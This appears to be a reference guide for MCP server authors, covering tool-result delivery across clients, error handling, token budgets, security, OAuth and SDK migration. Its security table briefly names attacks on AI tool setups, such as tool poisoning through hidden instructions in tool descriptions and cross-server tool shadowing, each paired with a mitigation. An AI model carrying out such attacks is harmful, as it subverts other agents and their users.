    **The footgun:** when a tool returns BOTH a text `content` block and `structuredContent`, several major clients (Claude Code, Codex CLI, VS Code Copilot, Goose) silently drop the text block and forward only `structuredContent` to the model. If the two payloads differ, the human-readable one vanishes. This is **client behavior the spec does not constrain** - not an SDK transform. Don't return both channels expecting both to reach the model.
    
    ### Empirically tested - Claude Code 2.1.165 (MCP 2025-11-25)
    
    Measured with `claude -p --output-format=stream-json`, reading the exact `tool_result` the model received:
    
    | Tool returns | What the model receives |
    |--------------|-------------------------|
    | One text block, no `structuredContent` | text verbatim |
    | `content: []` + `structuredContent` | `JSON.stringify(structuredContent)` as a string in the content slot - works |
    | text block + `structuredContent` | **text block silently dropped**; `structuredContent` wins |
    | text + `structuredContent` + `outputSchema` | same - **`outputSchema` makes zero difference** |
    | two text blocks, no `structuredContent` | both preserved verbatim |
    
    `structuredContent` is **not a separate typed channel to the model** on Claude Code - it is stringified into the standard `tool_result` content slot, so it costs the **same tokens** as the equivalent JSON-as-text. It does not buy cheaper or out-of-band structured data.
    
    Intentional, per Anthropic maintainer ([anthropics/claude-code#9962](https://github.com/anthropics/claude-code/issues/9962)): structuredContent support landed in Claude Code v2.0.21 and "we made `structuredContent` the default when both formats are present... optimizing for agent performance." Reproduced across unrelated servers (Laravel, Roblox Studio, YouTube) - host-side precedence, not a server bug.
    
    ### What the spec actually says (2025-11-25)
    
    **There is no precedence rule** - the spec never says which field a client should prefer when both are present ([Discussion #1563](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/1563)), and that gap is the documented root cause of client divergence. The only relevant normative line is a backwards-compat SHOULD: *"a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block."* The official TypeScript SDK passes both fields through **verbatim**; any stringify-into-content you observe is the host harness, not the SDK.
    
    ### Cross-client behavior (the matrix above is Claude Code only)
    
    | Client | When both `content` + `structuredContent` present |
    |--------|---------------------------------------------------|
    | Claude Code CLI, OpenAI Codex CLI, VS Code Copilot, Goose | **shadow** - only `structuredContent` reaches the model (text dropped) |
    | Cursor, Claude.ai web, ChatGPT MCP connector | prefer `content` / surface both to the model |
    | Google ADK (framework) | forwards both by default; content-only is opt-in |
    
    (Non-Claude-Code rows come from issue trackers and maintainer statements, not the stream-json harness - treat exact delivery as client-version-dependent.)
    
    ### The rule for server authors
    
    - **DON'T** return divergent `content` and `structuredContent` (e.g. a rendered ASCII table as text + different JSON as structured). On shadowing clients the text silently disappears and only the JSON reaches the model.
    - **DO**, if you emit `structuredContent`, mirror the **same bytes** into a text block: `content: [{ type: "text", text: JSON.stringify(payload) }]`. This is the spec's backwards-compat SHOULD. Shadowing clients use the structured copy; others fall back to the identical text - either way the model gets the data. Mirroring does not double tokens on shadowing clients (they drop the text).
    - **PREFER one channel per tool / per mode.** For a human-readable rendering (table, summary) to reach the model, return it as **text only, no `structuredContent`** - or expose a `format: "table" | "json"` arg (`table` -> text-only; `json` -> JSON mirrored into both channels). Both are empirically valid on Claude Code and keep one channel per call.
    - `outputSchema` gates client-side validation only; it does **not** make the text block survive on shadowing clients.
    
    `content` blocks are not text-only - `image`, `audio`, `resource_link`, and embedded `resource` blocks all exist, with annotations (`audience`, `priority`, `lastModified`); for those and the image preview + URL pattern see `references/tool-schema-guide.md`.
    
    ## Error Handling
    
    Two distinct mechanisms with different LLM visibility:
    
    | Type | LLM Sees It? | Use For |
    |------|--------------|---------|
    | **Tool error** (`isError: true` in CallToolResult) | Yes - enables self-correction | Input validation, API failures, business logic errors |
    | **Protocol error** (JSON-RPC error response) | Maybe - clients MAY expose | Unknown tool, malformed request, server crash |
    
    Per SEP-1303 (merged into spec 2025-11-25): input validation errors MUST be tool execution errors, not protocol errors. The LLM needs to see "date must be in the future" to self-correct.
    
    ```typescript
    // DO: Tool execution error - LLM can self-correct
    return {
      isError: true,
      content: [{ type: "text", text: "Date must be in the future. Current date: 2026-03-25" }],
    };
    
    // DON'T: Protocol error for validation - LLM can't see this
    throw new McpError(ErrorCode.InvalidParams, "Invalid date");
    ```
    
    **Known SDK behavior**: converting an `McpError` thrown from a tool handler into a `CallToolResult` drops the `error.data` field, so structured data embedded there may never reach the client. The x402/MPP ecosystem standardized on `isError: true` results with `structuredContent` for this reason.
    
    > For full error taxonomy, code examples, payment error patterns, and why `-32042` is not available as a "Payment Required" code: see `references/error-handling.md`
    
    ## Resources and Instructions
    
    Set `instructions` in the server constructor - a system-level hint to the LLM about how to use your server:
    
    ```typescript
    const server = new McpServer({
      name: "docs-api",
      version: "1.0.0",
      instructions: "Knowledge base API. Use search_docs for full-text search, get_doc for retrieval by ID. All tools are read-only.",
    });
    ```
    
    Ship guides and structured data as resources under a `docs://` URI scheme (`server.resource(...)`) - see "Other Server Primitives" in `references/tool-schema-guide.md`.
    
    ## Performance
    
    ### Token Bloat Mitigation
    
    Tool definitions consume context window before any conversation starts. GitHub MCP: 20,444 tokens for 80 tools (SEP-1576).
    
    **Strategies**:
    1. **5-15 tools per server** - community sweet spot. Split beyond that.
    2. **Outcome-oriented tools** - bundle multi-step operations into single tools (e.g., `track_order(email)` not `get_user` + `list_orders` + `get_status`).
    3. **Response granularity** - return curated results, not raw API dumps. 800-token user object vs 20-token summary.
    4. **`outputSchema` + `structuredContent`** - typed output for programmatic/PTC clients. Caveat: on shadowing clients `structuredContent` is stringified into the model's context at the **same token cost as text** - not a free out-of-band channel (see "Tool Result Delivery").
    5. **Dynamic tool loading** - register only relevant tool subsets per request context (e.g. a `?tools=search,fetch` query param). Pair with `listChanged` if the set changes mid-session. **Vary the set per connection, not mid-conversation**: tool definitions sit in the prompt prefix, and *"Adding or removing tool definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens than the definitions you removed."* A client must also treat a cached list as stale the moment `list_changed` arrives, even before the `ttlMs` you advertised.
    6. **Progressive tool discovery / code mode** - large-catalog clients increasingly use a `search_tools` meta-tool and programmatic tool calling, where `structuredContent` is consumed outside the model context ([client best practices](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices)). Curated, well-described tools make these flows work.
    
    ### Result-Size Budgets (per-client caps)
    
    Clients silently truncate large tool results. Budget for the strictest client you target:
    
    | Client | Default cap | Configurable |
    |--------|------------|--------------|
    | Claude Code | 25,000 tokens (warning at 10k) | `MAX_MCP_OUTPUT_TOKENS` env; per-tool `_meta["anthropic/maxResultSizeChars"]` up to 500,000 chars, which **replaces** the token cap for text rather than being bounded by it |
    | OpenAI Codex CLI | **10,000 tokens** on every current model (~40KB); `bytes`-mode 10,000 survives only on legacy `gpt-5.2` and as the unknown-model fallback | `tool_output_token_limit` config |
    | Gemini CLI | 40,000 chars (head 20% / tail 80% trim; full output saved to a file) | settings; 0 or negative disables |
    
    Enforce your own cap server-side - see "Result-Size Budgets and Truncation" in `references/tool-schema-guide.md`. Two rules worth stating here: **never truncate `isError` results** (payment/auth challenges must survive intact), and treat client budgets as **per-connection properties** - accept them as URL query params (`?max_chars=`, alongside `?tools=`) rather than growing every tool schema with override args.
    
    ### Long-Running Tools
    
    **A client timeout is a wall clock, not an idle timer.** Claude Code's per-server tool-call timeout is documented as a *"Hard wall-clock limit per call; progress notifications do not extend it"* - so the common instinct (emit `notifications/progress` to keep a slow call alive) does not work there. Progress is for the human watching, not for buying time.
    
    Design past the cap instead: return quickly with a server-minted handle and let the caller poll (see "Stateful Tools"), or adopt the `io.modelcontextprotocol/tasks` extension, which is built for exactly this and returns a `CreateTaskResult` the client polls via `tasks/get`. Tasks is per-request opt-in - a server that cannot service a call synchronously for a client that did **not** declare the tasks capability **MUST** return `-32021` (Missing Required Client Capability) naming the extension, not silently block.
    
    ### No-Parameter Tools
    
    For tools with no inputs, use an explicit empty schema - not `undefined` or omission:
    ```typescript
    inputSchema: { type: "object" as const, additionalProperties: false }
    ```
    
    ## Security
    
    ### Top Threats (real-world incidents, 2025-2026)
    
    | Attack | Example | Mitigation |
    |--------|---------|------------|
    | **Tool poisoning** | Hidden instructions in descriptions (WhatsApp MCP, Apr 2025) | Review tool descriptions; clients should display them |
    | **Supply chain** | Malicious npm packages (Smithery breach, Oct 2025) | Pin versions, audit dependencies |
    | **Stdio config injection** | User-controlled input reaches `StdioServerParameters` unsanitized (OX Security, 2026-04-15) | Sanitize stdio config in client code; prefer first-party servers. Treated as "by design" - not patched in the SDK |
    | **Cross-server shadowing** | Malicious server overrides legitimate tool names | Service-prefix tool names; validate tool sources |
    | **Token theft** | Over-privileged PATs with broad scopes | Minimal scopes; OAuth 2.1 Resource Indicators (RFC 8707) |
    | **Token passthrough** | Server accepts/forwards tokens not issued for it | Validate audience claim; never transit client tokens to upstream APIs |
    | **Confused deputy** | Proxy server consent cookies exploited via DCR | Per-client consent before forwarding to third-party auth |
    | **Session hijacking** | Stolen/guessed session IDs for impersonation | Cryptographically random IDs, bind to user identity, never use for auth |
    | **Cross-client response leak** | Shared `McpServer`/transport reused across clients ([CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536), affects v1.10.0-1.25.3) | **Require SDK >= v1.26.0**; per-request server+transport |
    | **UriTemplate ReDoS** | Malicious URI patterns ([CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365)) | Upgrade to v1.25.2+ / v2.0.0-alpha.1+ |
    
    Generic hygiene still applies: validate inputs at tool boundaries, enforce per-user access control, rate limit, never interpolate tool input into shell commands, block private IPs on outbound fetches, bind local servers to `127.0.0.1`.
    
    ### Server-Side Requirements (spec normative)
    
    - **Validate the `Origin` header** - but only reject when it is **present and invalid**: *"If the `Origin` header is present and invalid, servers MUST respond"* with 403. Shipping clients exist that send no `Origin` at all; a blanket 403-on-missing locks them out.
    - **Turn the checks on.** `WebStandardStreamableHTTPServerTransport` defaults `enableDnsRebindingProtection` to `false` and leaves `allowedOrigins`/`allowedHosts` unset, so the stock stateless constructor validates nothing. The `@modelcontextprotocol/express` and `/hono` factories enable Host validation for localhost by default; the raw transport does not.
    - **`MCP-Protocol-Version` is not optional on a modern wire.** The header survived the sessionless overhaul: *"Every POST request to the MCP endpoint **MUST** include an `MCP-Protocol-Version` header"*, and its value **MUST** match `io.modelcontextprotocol/protocolVersion` in the body's `_meta` or the server **MUST** answer `400 Bad Request` with a `HeaderMismatch` error. The version rides `_meta` *and* the header, redundantly and on purpose - intermediaries route on the header while the server executes on the body, so both must agree.
    - **Be lenient about *which* version, not about whether it is declared.** On 2025-era wires accept a range of declared versions rather than enforcing one - clients advertising `2024-11-05` are still in the wild, and a server supporting pre-`2025-06-18` clients **MAY** treat a header-less request as `2025-03-26`. A server that does not support those clients **MUST** reject a header-less request.
    
    ### Auth (OAuth 2.1)
    
    MCP normatively requires **OAuth 2.1** ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)), not 2.0 - PKCE mandatory, implicit flow removed. Servers are Resource Servers; clients MUST send Resource Indicators (RFC 8707) binding tokens to your server.
    
    - **Validate audience** - reject tokens not issued for your server (passthrough is forbidden). **PKCE `S256`**, **short-lived tokens**, **minimal scopes** (elevate via `WWW-Authenticate` challenges).
    - Use a tested validation library (Keycloak, Auth0, ...) - don't roll your own; never log Authorization headers/tokens/secrets.
    - **RFC 9207 `iss` interop footgun**: advertising `authorization_response_iss_parameter_supported: true` makes strict clients MUST-validate a callback `iss` that some of them drop. Advertise the flag as `false` while still sending `iss` - see `references/security-auth.md`.
    
    > For full security attack/mitigation patterns and auth implementation details: see `references/security-auth.md`
    
    ## Known SDK Bugs
    
    Must-know as of `sdk@1.30.0` / `server@2.0.0`:
    
    - **`z.union()`/`z.discriminatedUnion()` silently produce empty schemas on every released v1**, v1.30.0 included ([#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643), backport still open) - use flat `z.object()` + `z.enum()`.
    - **Require SDK >= v1.26.0** - shared instances leaked cross-client data below that ([CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536)).
    - **Register everything before `connect()`** - later registration throws; open on both `main` and `v1.x` ([#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893)).
    - **Client AJV strict rejects unstripped `structuredContent` extras** - `.parse()` upstream data first, or `.passthrough()` for intentional extras.
    - **v1.30.0 stamps every tool schema `"$schema": "http://json-schema.org/draft-07/schema#"`**, and a strict 2020-12 client rejects the whole tool: *"JSON Schema declares an unsupported dialect ... The default validator supports JSON Schema 2020-12 only."* One bad schema can take the server's other tools down with it in clients that drop the whole `tools/list`. v2 emits 2020-12. Open ([#2721](https://github.com/modelcontextprotocol/typescript-sdk/issues/2721), [#2677](https://github.com/modelcontextprotocol/typescript-sdk/issues/2677)); `@modelcontextprotocol/inspector` >= 2.4.0 flags it for you.
    - **Don't reuse one `McpServer` across `createMcpHandler` requests on v2.** Each request wraps `onclose`, the chain grows unbounded, and it dies with `RangeError: Maximum call stack size exceeded` at roughly 19-25k accumulated sessions - affects released `server@2.0.0` ([#2607](https://github.com/modelcontextprotocol/typescript-sdk/issues/2607)). The per-request pattern above is the fix.
    
    > Full table (statuses, zod 3->4 dropping `additionalProperties`, `refine`/`superRefine` never running, transport-closure stack overflow, HTTP/2, raw JSON Schema, `z.transform()`, ReDoS): see `references/sdk-bugs.md`
    
    ## V2 Migration
    
    > For comprehensive migration guide with all breaking changes and before/after code: see `references/v2-migration.md`
    
    **Key breaking changes**:
    1. Package split: `@modelcontextprotocol/sdk` -> `@modelcontextprotocol/server` + `/client` + `/core`
    2. ESM-first (CJS builds restored in beta.2), Node.js 20+ (Bun/Deno supported)
    3. Zod v4 required (or any Standard Schema library)
    4. `McpError` -> `ProtocolError` (from `@modelcontextprotocol/core`)
    5. `extra` parameter -> structured `ctx` with `ctx.mcpReq`
    6. `server.tool()` -> `registerTool()` (config object, not positional args)
    7. SSE server transport removed (clients can still connect to legacy SSE servers)
    8. `@modelcontextprotocol/hono` and `@modelcontextprotocol/express` middleware packages
    9. DNS rebinding protection enabled by default for localhost servers
    
    v1.x gets 6 more months of support after v2 stable ships. No rush, but write new code with v2 patterns in mind.
    
    ## Spec 2026-07-28 (released)
    
    Published 2026-07-28 ([release announcement](https://blog.modelcontextprotocol.io/posts/2026-07-28/), [changelog](https://modelcontextprotocol.io/specification/2026-07-28/changelog)) - now the latest revision. Remember it is **opt-in on the SDK** (see "The Two Eras"): 2025-11-25 remains what most deployed software speaks.
    
    Four shifts that change a decision you make today:
    
    - **MCP is stateless and sessionless.** The `initialize` handshake and `Mcp-Session-Id` are gone ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575), [SEP-2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567)); every request carries its protocol version, client identity, and capabilities in `_meta`, and cross-call state uses handles (see "Stateful Tools"). Do not build new servers on session affinity.
    - **`server/discover` is a server MUST** - it advertises versions/capabilities/identity; clients MAY skip it and handle `UnsupportedProtocolVersionError` inline.
    - **Roots, Sampling, Logging, and the HTTP+SSE transport are Deprecated** under a formal feature lifecycle (12-month minimum window, SEP-2577/SEP-2596). They still work; design new servers without them.
    - **Allocate application-defined error codes outside `-32768..-32000`** - `-32020..-32099` is reserved for the spec and `-32000..-32019` is legacy that new implementations SHOULD NOT use at all ([PR #2907](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2907)).
    
    The `content` vs `structuredContent` dual-delivery footgun is **unchanged** - no precedence rule landed, so the guidance above still holds.
    
    > Everything else - MRTR, `subscriptions/listen`, `_meta` identity keys, `requestState`, `Mcp-Method`/`Mcp-Name`, cacheable results, per-request log level, auth changes, the removals (SSE resumability, `ping`, `execution.taskSupport`), era testing, working groups: see `references/spec-2026-07-28.md`
    
    ## Extensions
    
    Optional, strictly additive capabilities named `{vendor-prefix}/{extension-name}` (official: `io.modelcontextprotocol/*`; third-party: reversed domain). Negotiated in `initialize` capabilities on 2025-era wires; on 2026-07-28 clients advertise support **per request** in `_meta["io.modelcontextprotocol/clientCapabilities"]`. Official ones: **MCP Apps** (`/ui`, interactive HTML UIs, Stable, widely supported; `ext-apps` **2.0.0** since 2026-09-08 - breaking on the TypeScript side only, the wire protocol is unchanged), **OAuth Client Credentials** (Draft), **Enterprise-Managed Authorization** (Stable 2026-06-18), **Tasks** (official since 2026-08-19) - [client matrix](https://modelcontextprotocol.io/extensions/client-matrix).
    
    Server capabilities beyond tools, all 2025-era APIs (the SDK default):
    
    | Capability | Purpose | v2 API |
    |-----------|---------|--------|
    | **Elicitation** | Request structured user input mid-tool | `ctx.mcpReq.elicitInput()` |
    | **Sampling** | Request LLM completion from client | `ctx.mcpReq.requestSampling()` |
    | **Tasks** | Long-running ops with lifecycle management | Official extension (SEP-2663) |
    | **Progress** | Incremental progress on requests | `ctx.mcpReq.sendProgress()` |
    
    On 2026-07-28 servers cannot send requests to clients at all: elicitation and sampling go through MRTR (return an `InputRequiredResult`, read `inputResponses` on the retry). Tasks moved out of core into the polled `io.modelcontextprotocol/tasks` extension ([ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)).
    
    > For MCP Apps architecture, ext-apps SDK, and build patterns: see `references/mcp-apps.md`
    > For the extensions system, auth extensions, elicitation/sampling/tasks detail, and the MCP Registry: see `references/extensions-registry.md`
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related